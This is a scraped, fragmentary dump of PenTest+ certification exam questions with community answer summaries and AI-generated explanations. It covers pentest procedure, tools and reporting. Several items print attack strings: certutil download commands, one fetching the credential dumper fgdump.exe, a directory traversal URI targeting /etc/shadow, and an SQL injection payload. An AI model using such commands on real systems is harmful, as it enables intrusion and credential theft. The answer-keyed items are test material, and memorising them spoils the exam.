\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tPenetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Performing a live demonstration of the results to the system administrators", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. Attestation of findings and delivery of the report, which the reason is the next step in the engagement after reviewing initial findings with the client is to attest the findings and deliver the report. This report provides a detailed account of vulnerabilities, risks, and recommended actions, which is crucial for providing the client with a comprehensive understanding of the security posture of their systems and the necessary steps to improve it. \n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer C, Attestation of findings and delivery of the report.
\nReasoning: After penetration-testing activities and a review of the initial findings with the client, the most logical next step is to formalize the results into a comprehensive report. This report should detail the vulnerabilities discovered, the associated risks, and recommended remediation strategies. Delivering the report provides the client with a tangible record of the engagement and allows them to take informed action.
\nWhy other options are less suitable:\n
\nThe key here is the word \"NEXT\" in the question. Attestation and report delivery are the logical and formal closure to the penetration testing activity itself.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester conducted a discovery scan that generated the following:![](\"topic_1_question_314/image_0.png\"/)
Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the consensus answer is B. The comments agree that the command performs a ping scan (-sn) to identify which hosts are up in the given range, filters lines containing \"Nmap scan\", and then extracts the fifth field (the IP address) using awk. The command uses the -sn option to perform a ping scan, which only performs host discovery. Other opinions proposed that the command scans the specified IP range to identify hosts with open ports, removes duplicate lines from the output, removes the second occurrence of the word \"Nmap\" from each line, and then saves the processed output to a file, but those are not correct based on the command's options.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and discussion, the AI agrees with the suggested answer B.
\nThe command `nmap –sn 192.168.0.1-254 | grep “Nmap scan” | awk ‘{print $5}’` effectively identifies active hosts within the specified range and extracts their IP addresses.
\nThe reason for choosing this answer is because it accurately reflects the functionality described in the discussion:
\n
\nTherefore, option B is the most appropriate choice as it directly addresses the question's requirement to transform the Nmap results into a list of active hosts.\n
\n\nIn summary, option B correctly uses nmap to discover active hosts and extract their IP addresses, while the other options either perform different tasks or do not correctly parse the output.\n
"}, {"folder_name": "topic_1_question_315", "topic": "1", "question_num": "315", "question": "A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment. Which of the following actions should the tester take?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment. Which of the following actions should the tester take?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Perform forensic analysis to isolate the means of compromise and determine attribution.", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D. Halt the assessment and follow the reporting procedures as outlined in the contract, which the reason is that the discovery of an artifact indicating a prior compromise requires immediate action to address the real, immediate security concern. The assessment should be stopped to report this critical finding.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D: Halt the assessment and follow the reporting procedures as outlined in the contract.
\n
\nReasoning:\nUpon discovering an artifact indicating a possible prior compromise within the target environment, the red-team tester's priority should shift from emulating a malicious insider to reporting a potential real security breach. Continuing the red team exercise could exacerbate the existing compromise, potentially leading to further data loss or system damage. The contract outlining the scope of the red team engagement likely includes provisions for handling such situations, emphasizing immediate reporting to allow the company to investigate and remediate the potential breach.\n
\n
\nSuggested Answer: D. Halt the assessment and follow the reporting procedures as outlined in the contract.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester identified numerous flaws that could lead to unauthorized modification of critical data. Which of the following would be best for the penetration tester to recommend?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Flat access", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. RBAC (Role-Based Access Control), which the reason is RBAC is ideal for preventing unauthorized modification by assigning permissions to roles rather than individuals, ensuring only authorized users access critical data based on their organizational role.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of B. Role-Based Access Control (RBAC).
\nReasoning:\nThe question indicates that the penetration tester found numerous flaws leading to unauthorized data modification. To mitigate this, a robust access control mechanism is needed. RBAC (Role-Based Access Control) is a method of regulating access to computer or network resources based on the roles of individual users within an organization. It is considered the best recommendation because:\n
\n
"}, {"folder_name": "topic_1_question_317", "topic": "1", "question_num": "317", "question": "Which of the following tools would be the best to use to intercept an HTTP response of an API, change its content, and forward it back to the origin mobile device?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following tools would be the best to use to intercept an HTTP response of an API, change its content, and forward it back to the origin mobile device?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Drozer", "html": "Based on the internet discussion from Q2 2021 to Q1 2025, the consensus answer to this question is Burp Suite (B), which is considered the best tool for intercepting and modifying HTTP responses of an API. The comments suggest that Burp Suite provides a comprehensive suite for web application security testing. Some comments specifically mention that Burp Suite is a good choice in the mobile section of the Pentest+ outline. Other answer, such as MobSF, is not specifically designed for this task.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is B. Burp Suite, and I agree with this recommendation.
\nReasoning:
\nBurp Suite is a widely used and powerful tool for web application security testing, including intercepting, analyzing, and manipulating HTTP/HTTPS traffic. It acts as a proxy, allowing you to intercept requests and responses between a client (like a mobile device) and a server (like an API). This capability makes it ideal for changing the content of an HTTP response before it reaches the mobile device.
\n
\nTherefore, based on the question's requirements and the capabilities of each tool, Burp Suite is the most appropriate choice for intercepting and modifying HTTP responses of an API.\n
\n\nHere are some resources that confirm Burp Suite's capabilities and its relevance in web and mobile application security testing:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting a test after hours and notices a critical system was taken down. Which of the following contacts should be notified first?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Secondary", "html": "From the internet discussion, which includes posts from Q2 2021 to Q1 2025, the conclusion of the answer to this question is B, which is to contact the Emergency contact. The comments agree with this answer because the situation involves a critical system being taken down after hours. Some comments suggest that the primary contact should be notified first, but most of the comments agree that the emergency contact is the correct answer because it's an emergency situation.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of B. Emergency.
\nReasoning:
\n The scenario describes a critical system being taken down during an after-hours penetration test. This constitutes an emergency because it's an unexpected and potentially damaging event. The first priority should be to alert the designated emergency contact who is responsible for handling urgent situations. The emergency contact will have the authority and knowledge to initiate the appropriate incident response procedures, including informing other relevant parties if necessary.
\nWhy other options are incorrect:
\n * A. Secondary: A secondary contact is not the first point of contact in an emergency.
\n * C. Technical: While the technical contact may eventually need to be involved, they are not the initial point of contact for reporting the emergency situation.
\n * D. Primary: A primary contact might be suitable for general communication, but in an emergency situation like a critical system being down, the emergency contact takes precedence.
\n
Suggested Answer: B
\n\nReasoning:
\n The question indicates that a critical system was taken down after hours, which constitutes an emergency.
\n The emergency contact should be notified first.\n
\nWhy other options are incorrect:
\n The other options are incorrect because they would be contacted at a later time, after contacting the emergency contact.\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a minimal chance of detection? (Choose two.)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Open-source research", "html": "From the internet discussion, the consensus of the answer to this question is AC, which the reason is because only AC are passive. While some users mentioned AD, port knocking can be detected, especially if the sequence is incorrect.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer is AC. The AI agrees with the suggested answer of A and C.
\nReasoning: The question asks for activities with a minimal chance of detection. Open-source research (A) involves gathering information from publicly available sources, which leaves no direct trace on the target system. Traffic sniffing (C), when performed passively and without injecting packets, can be difficult to detect, especially if the sniffer is strategically placed within the network.\n
\nWhy other options are incorrect:\n
\nTherefore, open-source research and passive traffic sniffing have the lowest probability of being detected.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester found a suspicious script that could indicate a prior compromise. While reading the script, the penetration tester noticed the following lines of code:![](\"topic_1_question_320/image_0.png\"/)
Which of the following was the script author trying to do?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is D: Disabled nic, changed mac, then enabled nic again, which the reason is that the python script first brings down the network interface, changes its MAC address, and then brings the interface back up. These actions are used to change the MAC address of the network interface card (NIC) associated with the interface.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is D: Change the MAC address.
\nReasoning:
\nThe Python script first brings down the network interface (ifconfig eth0 down), then changes its MAC address (ifconfig eth0 hw ether XX:XX:XX:XX:XX:XX), and finally brings the interface back up (ifconfig eth0 up). These actions are specifically designed to change the MAC address of the network interface card (NIC) associated with the interface (eth0 in this case). This is a common technique used to spoof or anonymize a device on a network.
\nWhy other options are incorrect:\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester found a web component with no authentication requirements. The web component also allows file uploads and is hosted on one of the target public web servers. Which of the following actions should the penetration tester perform next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Continue the assessment and mark the finding as critical.", "html": "From the internet discussion, which spanned from Q1 2024 to Q3 2024, the consensus answer to this question is C. Notify the primary contact immediately, which the reason is that the primary contact needs to be informed about this significant security risk as soon as possible so that they can take immediate action to mitigate the risk. The comments agree that shutting down the server is an extreme measure and attempting to remediate the issue is not the responsibility of the penetration tester.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is C, Notify the primary contact immediately. The AI agrees with the suggested answer.
\nThis is because the finding of a web component with no authentication requirements that allows file uploads on a public web server represents a critical security vulnerability. This vulnerability could be exploited to upload malicious files, leading to code execution, data breaches, or other severe consequences. Therefore, the penetration tester should immediately notify the primary contact to facilitate prompt remediation efforts.
\n
\nHere's why the other options are less appropriate:\n
\n
\nTherefore, notifying the primary contact immediately is the most responsible and appropriate action for the penetration tester to take.\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester obtains a list of password digests using Responder. Which of the following tools would the penetration tester most likely use next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Hashcat", "html": "From the internet discussion, the consensus is that the answer is A. The reason is that Hashcat is used to crack password hashes. Password digests are the same as password hashes, and a hashcracker is used next.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer, which is A. Hashcat.\n
\nReasoning:\n
\nResponder is used to capture network authentication traffic and obtain password hashes (or digests). The next logical step in a penetration test would be to attempt to crack those captured password hashes. Hashcat is a widely used and powerful password cracking tool specifically designed for this purpose.\n
\nWhy other options are less likely:\n
\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is performing a vulnerability scan on a large ATM network. One of the organization's requirements is that the scan does not affect legitimate clients’ usage of the ATMs. Which of the following should the tester do to best meet the company’s vulnerability scan requirements?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Use Nmap’s-T2 switch to run a slower scan and with less resources.", "html": "From the internet discussion, the conclusion of the answer to this question is to select option A. The reason is that using the -T2 switch in Nmap is the best approach as it ensures a slower scan. This slower scan reduces the risk of overwhelming network resources and affecting the usage of ATMs by legitimate clients. Some comments emphasize the importance of scanning slowly, similar to how ADSL connections function, particularly during off-peak times to minimize impact.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer A.
\nReasoning: The question emphasizes minimizing impact on ATM usage during the vulnerability scan. Using Nmap's `-T2` switch is specifically designed to reduce the scan speed and resource consumption, directly addressing the requirement of not affecting legitimate clients. A slower scan is less likely to overwhelm the ATMs or network infrastructure.
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester start this process?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe", "html": "Based on the internet discussion, from Q2 2024 to Q1 2025, the consensus is that the correct answer is A. The comments agree because the command utilizes certutil to download accesschk64.exe, a tool used for checking misconfigured service permissions. This helps in identifying potential privilege escalation vulnerabilities. Other options, like uploading a file or querying scheduled tasks, are considered less relevant. Furthermore, option D, which suggests using wget to download the file, is not considered correct because wget is not a default Windows tool.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer A.
\nReasoning: The question asks for a command that helps a penetration tester explore the ability to exploit misconfigured service permissions on a Windows server. Accesschk is a tool from Sysinternals (Microsoft) specifically designed to view the permissions and access rights for files, registry keys, services, and other objects on Windows systems. Downloading and executing Accesschk is a logical first step in identifying potential misconfigurations that could lead to privilege escalation.
\nThe command `certutil -urlcache -split -f http://192.168.2.124/windows-binaries/accesschk64.exe` leverages the `certutil` utility, which is a built-in Windows tool, to download the `accesschk64.exe` executable from the specified URL. The `-urlcache -split -f` flags ensure that the file is downloaded, split if necessary, and overwritten if it already exists in the cache. This makes it a reliable way to obtain the necessary tool for checking service permissions, especially given the constraints of a low-privilege shell with default configurations.
\nReasons for not choosing other options:\n
Suggested Answer: A
\nReason: It allows downloading accesschk64.exe, a tool used to check service permissions, using the built-in Windows utility certutil. This helps to discover privilege escalation vulnerabilities.
\nWhy not others: Options like uploading a file (B) or querying scheduled tasks (C) are less relevant. Option D is incorrect as wget is not a default Windows tool.
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester issues the following command after obtaining a shell:![](\"topic_1_question_325/image_0.png\"/)
Which of the following describes this technique?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion from Q2 2024 to Q1 2025, the conclusion of the answer to this question is Living-off-the-land (Option D), which the reason is that the command uses certutil, a built-in Windows utility, to download a file (fgdump.exe) from a specified URL. This technique leverages legitimate system utilities to perform potentially malicious activities. This method fits the definition of \"Living off the land\" because it's using a native tool. One comment stated that the technique is associated with privilege escalation, which is not correct since this technique uses a legitimate tool to download a file, not execute or crack passwords to get more privileges.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, D (Living-off-the-land).
\nReasoning: The command `certutil -urlcache -f http://example.com/fgdump.exe fgdump.exe` utilizes the built-in Windows utility `certutil` to download a file (`fgdump.exe`) from a remote URL. This perfectly aligns with the definition of \"Living off the Land\" (LotL) techniques, which involve using legitimate system tools and features for malicious purposes, thereby blending in with normal system activity and evading detection.
\nReasons for not choosing other options:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester observes an application enforcing strict access controls. Which of the following would allow the tester to bypass these controls and successfully access the organization’s sensitive files?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Remote file inclusion", "html": "Agree with Suggested Answer From the internet discussion, spanning from Q2 2024 to Q1 2025, the consensus answer to this question is the definition of Insecure Direct Object References (IDOR) . The reason is that IDOR happens when an application gives direct access to objects based on user input, enabling attackers to bypass authorization and directly access sensitive data. Some users provided real-world examples, and it was acknowledged as the correct understanding of this vulnerability.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer D, Insecure direct object references.
\nReasoning: Insecure Direct Object References (IDOR) occur when an application uses a direct reference to an internal implementation object, such as a file or database key, as a URL parameter without any authorization checks. This allows an attacker to manipulate these references to access unauthorized data. In this scenario, the application enforces strict access controls, but IDOR vulnerabilities allow bypassing these controls by directly referencing sensitive files.
\nWhy other options are incorrect:
\n
\nTherefore, IDOR is the most relevant vulnerability for bypassing access controls to access sensitive files directly.\n
\nCitations:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhile conducting a penetration test of a web application, the penetration tester enters the following URI:
http://test.comptia.com/../../../../etc/shadow
Which of the following attacks is the tester attempting?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C, which the reason is the file system is traversing to the parent directory.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is C (Directory traversal).
\nThe AI agrees with the suggested answer.
\nReasoning: The URI `http://test.comptia.com/../../../../etc/shadow` is attempting to access the `/etc/shadow` file by traversing up the directory structure using `../`. This is a classic example of a directory traversal attack, also known as path traversal. The attacker is trying to bypass security measures to access unauthorized files on the server.
\nReasons for not choosing the other answers:\n
\nTherefore, the most appropriate answer is C. Directory traversal.\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration testing firm wants to hire three additional consultants to support a newly signed long-term contract with a major customer. The following is a summary of candidate background checks:![](\"topic_1_question_328/image_0.png\"/)
Which of the following candidates should MOST likely be excluded from consideration?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is B, which the reason is some candidates, particularly Candidate 2, have exhibited a history of computer crimes and would likely not be included on a team looking for ethical hackers.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of B (Candidate 2).
\nReasoning: Candidate 2's background check reveals a history of computer crimes (unauthorized access to systems and data alteration). This directly contradicts the ethical requirements of a penetration tester, who must operate with authorization and integrity. Hiring someone with a proven track record of illegal activity poses a significant risk to the client and the penetration testing firm. Companies hiring for cybersecurity positions typically conduct thorough background checks to avoid potential insider threats and ensure adherence to ethical standards (ISC2 Code of Ethics).
\nReasons for excluding other options:\n
\nThe primary concern in penetration testing is trust and ethical conduct, which is directly compromised by Candidate 2's criminal history.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is a ROE component that provides a penetration tester with guidance on who and how to contact the necessary individuals in the event of a disaster during an engagement?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Engagement scope", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. Communication Escalation Path, which the reason is that this is a key component of a Rules of Engagement (ROE). The other options, C and D, are not part of ROE.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer B is correct.
\nThe Communication Escalation Path is the correct answer because it specifically outlines who to contact and how to escalate issues during a penetration test, especially in the event of a disaster or unexpected situation. This is a crucial component of the Rules of Engagement (ROE).
\n The other options are incorrect for the following reasons:\n
\n The Rules of Engagement (ROE) document is created prior to security assessments, penetration testing, or red team exercises. It is designed to establish boundaries and guidelines for the testing team.\n
\n\n A well-defined Communication Escalation Path is vital for responsible and ethical penetration testing, providing a clear process for handling unforeseen circumstances and minimizing potential negative impacts.\n
\n\n Here are some citations supporting the importance of communication escalation paths in penetration testing:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tGiven the following Bash code snippet:![](\"topic_1_question_330/image_0.png\"/)
Which of the following would be achieved?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D: wget a file from 10 different users, which the reason is it correctly describes the scenario of retrieving a file from multiple users.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer D (File download).
\nReasoning: The provided Bash script iterates through a range of IP addresses (192.168.100.1 to 192.168.100.10). Inside the loop, it attempts to download a file named \"important_file.txt\" from each IP address using the `wget` command. The `-q` option suppresses wget's output. The core functionality is to retrieve a file from multiple, sequentially numbered IP addresses, indicating a file download operation across a range of potential sources.
\nWhy other options are incorrect:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tGiven the following user-supplied data:
www.comptia.com/info. php?id=1 AND 1=1
Which of the following attack techniques is the penetration tester likely implementing?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A, which the reason is Boolean based, 1=1 means True.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of A (Boolean-based SQL injection).
\nReasoning: The provided URL includes the string \"1 AND 1=1\". This is a classic example of a boolean-based SQL injection attempt. The attacker is trying to inject SQL code into the query by using a boolean expression (1=1) that will always evaluate to true. If the application is vulnerable, this will cause it to behave differently than intended, potentially revealing sensitive data or allowing the attacker to execute arbitrary SQL commands.
\nReasons for not choosing other answers:\n
\nThis type of SQL injection is used to infer information about the database structure and data through true/false conditions.\n
"}, {"folder_name": "topic_1_question_332", "topic": "1", "question_num": "332", "question": "A penetration tester is taking screen captures of hashes obtained from a domain controller. Which of the following BEST explains why the penetration tester should immediately obscure portions of the images before saving?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is taking screen captures of hashes obtained from a domain controller. Which of the following BEST explains why the penetration tester should immediately obscure portions of the images before saving?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "To maintain confidentiality of data/information", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A, which the reason is that hashes are sensitive information, and the organization could be at risk of compromise if the images were accidentally disclosed or accessed by unauthorized individuals.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is A: To maintain confidentiality of data/information.
\n
\nReasoning:
\nThe primary reason for obscuring portions of the images containing hashes is to protect the confidentiality of the data. Hashes, especially those obtained from a domain controller, can be used to authenticate to systems or gain unauthorized access if compromised. Obscuring the images minimizes the risk of accidental disclosure or unauthorized access, thus maintaining confidentiality.
\n
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following tools can a penetration tester use to brute force a user password over SSH using multiple threads?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "CeWL", "html": "Based on the internet discussion from Q3 2024 to Q1 2025, the consensus answer to this question is D. The comments agree that Hydra is the correct answer because it can be used to brute-force over SSH.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is D (Hydra).
\n
\nReasoning:
\nHydra is a well-known and widely used tool for brute-forcing login credentials across various protocols, including SSH. Its key feature is the ability to perform multi-threaded attacks, significantly speeding up the brute-forcing process. This aligns perfectly with the question's requirement of a tool that can brute force passwords over SSH using multiple threads. The tool is designed to attack multiple services, therefore it fits with the question.
\n
\nWhy other options are incorrect:
\n
\nIn summary, Hydra is the tool specifically designed for multi-threaded online brute-force attacks against various services, including SSH, making it the most appropriate answer to the question.\n
\n\nCitation:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tGiven the following code:![](\"topic_1_question_334/image_0.png\"/)
Which of the following tasks could be accomplished with the script?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is that the provided code snippet is a port scan made in PowerShell. The reason is because the code iterates through a range of IP addresses and checks for open ports (80, 110, 25) on each. The code uses the TcpClient class to attempt connections to specified ports, and if the connection is successful, it indicates an open port.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, D (Port scan).
\n
\nReasoning: The provided PowerShell script iterates through a range of IP addresses (from 192.168.1.1 to 192.168.1.10) and attempts to connect to specific ports (80, 110, and 25) on each IP address. The TcpClient class is used to establish a TCP connection to these ports. If a connection is successfully established, the script outputs that the port is open on that particular IP address. This behavior is characteristic of a port scan, where the goal is to determine which ports are open and listening on a target system or network.
\n
\nWhy other options are incorrect:\n
\nIn summary, the script's primary function is to scan for open ports on a range of IP addresses, making \"Port scan\" the correct answer.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following tools would help a penetration tester locate a file that was uploaded to a content management system?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "DirBuster", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A, which the reason is that DirBuster is a tool specifically designed to brute force directories and files on web servers. It aids in discovering hidden files and directories using a wordlist and HTTP requests, making it suitable for identifying files uploaded to CMS or web applications.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer, which is A (DirBuster).
\nReasoning: DirBuster is a directory and file brute-forcing tool, commonly used in penetration testing to discover hidden files and directories on web servers. In the context of identifying a file uploaded to a Content Management System (CMS), DirBuster can be used to brute-force potential file paths and names, increasing the likelihood of locating the uploaded file. It works by sending HTTP requests based on a provided wordlist.
\nReasons for excluding other options:\n
Therefore, DirBuster is the most appropriate tool for locating a file uploaded to a content management system.
\nCitation:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester fuzzes an internal server looking for hidden services and applications and obtains the following output:![](\"topic_1_question_336/image_0.png\"/)
Which of the following is the MOST likely explanation for the output?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is C, which the reason is that the admin, test, and db directories have the same size, words, and lines as the login page, indicating a redirection to the login page, and the server-status page returns a 403 Forbidden status code. The output also shows that the robots.txt file returns a 404 Not Found status code, which means the file does not exist on the server. References to study guides confirm these findings. D is not correct because the robots.txt file has 404 not found, not available. Other users noted that if the pages were redirecting, they would be giving 300 status codes, not 200.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and the discussion, the AI recommends sticking with the suggested answer: C. The admin, test, and db directories redirect to the log-in page.
\n
\nReasoning:
\nThe output shows that the admin, test, and db directories all return a 200 OK status code, but have the same size (1997), words (314), and lines (48) as the login page. This strongly suggests that these directories are redirecting to the login page. The server-status page returning a 403 Forbidden status code is also consistent with this scenario.
\n
\nWhy other options are incorrect:\n
\nIn summary, the identical content size and other characteristics for admin, test, and db, matching that of the login page, makes redirection the most plausible explanation.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tSIMULATION
-
A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets.
INSTRUCTIONS
-
Select the appropriate answer(s), given the output from each section.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.![](\"topic_1_question_337/image_0.png\"/)
![](\"topic_1_question_337/image_1.png\"/)
![](\"topic_1_question_337/image_2.png\"/)
\n
![](\"topic_1_question_337/image_3.png\"/)
", "question_type": "no_options", "has_images": true, "discussions": [{"username": "kinny4000", "date": "Fri 07 Feb 2025 17:48", "selected_answer": "", "content": "Yup looks good.", "upvotes": "1"}], "discussion_summary": {"time_range": "Recent discussions", "num_discussions": 1, "consensus": {}, "key_insights": ["Agree with Suggested Answer.", "The conclusion of the answer to this question is in agreement."], "summary_html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is in agreement. The comment simply states \"Yup looks good\".\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the provided information and the discussion summary, the AI agrees with the suggested answer that the tool which created the output is TheHarvester.
\n
\nReasoning: The discussion summary indicates agreement with the initial assessment. Furthermore, the provided output contains information typically gathered by TheHarvester, such as:
\n
The supporting evidence includes:\n
\nCommands from Summary of Answers:
\n
\nWHOIS Information:
\n
This information aligns with the typical output of TheHarvester, confirming the initial assessment.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester was hired to test Wi-Fi equipment. Which of the following tools should be used to gather information about the wireless network?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Kismet", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is Kismet, which the reason is Kismet is an open-source software tool that's used for wireless network monitoring, packet sniffing, and intrusion detection in cybersecurity.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer A (Kismet).
\nReasoning: Kismet is a well-known open-source tool specifically designed for wireless network discovery, packet sniffing, and intrusion detection. It excels at gathering information about Wi-Fi networks, making it the most suitable choice for a penetration tester assessing Wi-Fi equipment. It can passively identify networks, capture traffic, and reveal details like SSIDs, BSSIDs, and supported protocols.\n
\nReasons for not choosing the other options:\n
Therefore, Kismet is the most appropriate tool for the stated purpose.
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an engagement, a penetration tester was able to upload to a server a PHP file with the following content:![](\"topic_1_question_339/image_0.png\"/)
Which of the following commands should the penetration tester run to successfully achieve RCE?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the consensus answer to this question is B. The majority of comments agree with selecting option B because it correctly uses a Python script to send a POST request to the server with the cmd parameter set to 'id'. This is the correct method to achieve Remote Code Execution (RCE) and retrieve the user identity on a Unix-like system, printing the response text from the server. Comments also highlight the presence of a typo in some options.\n
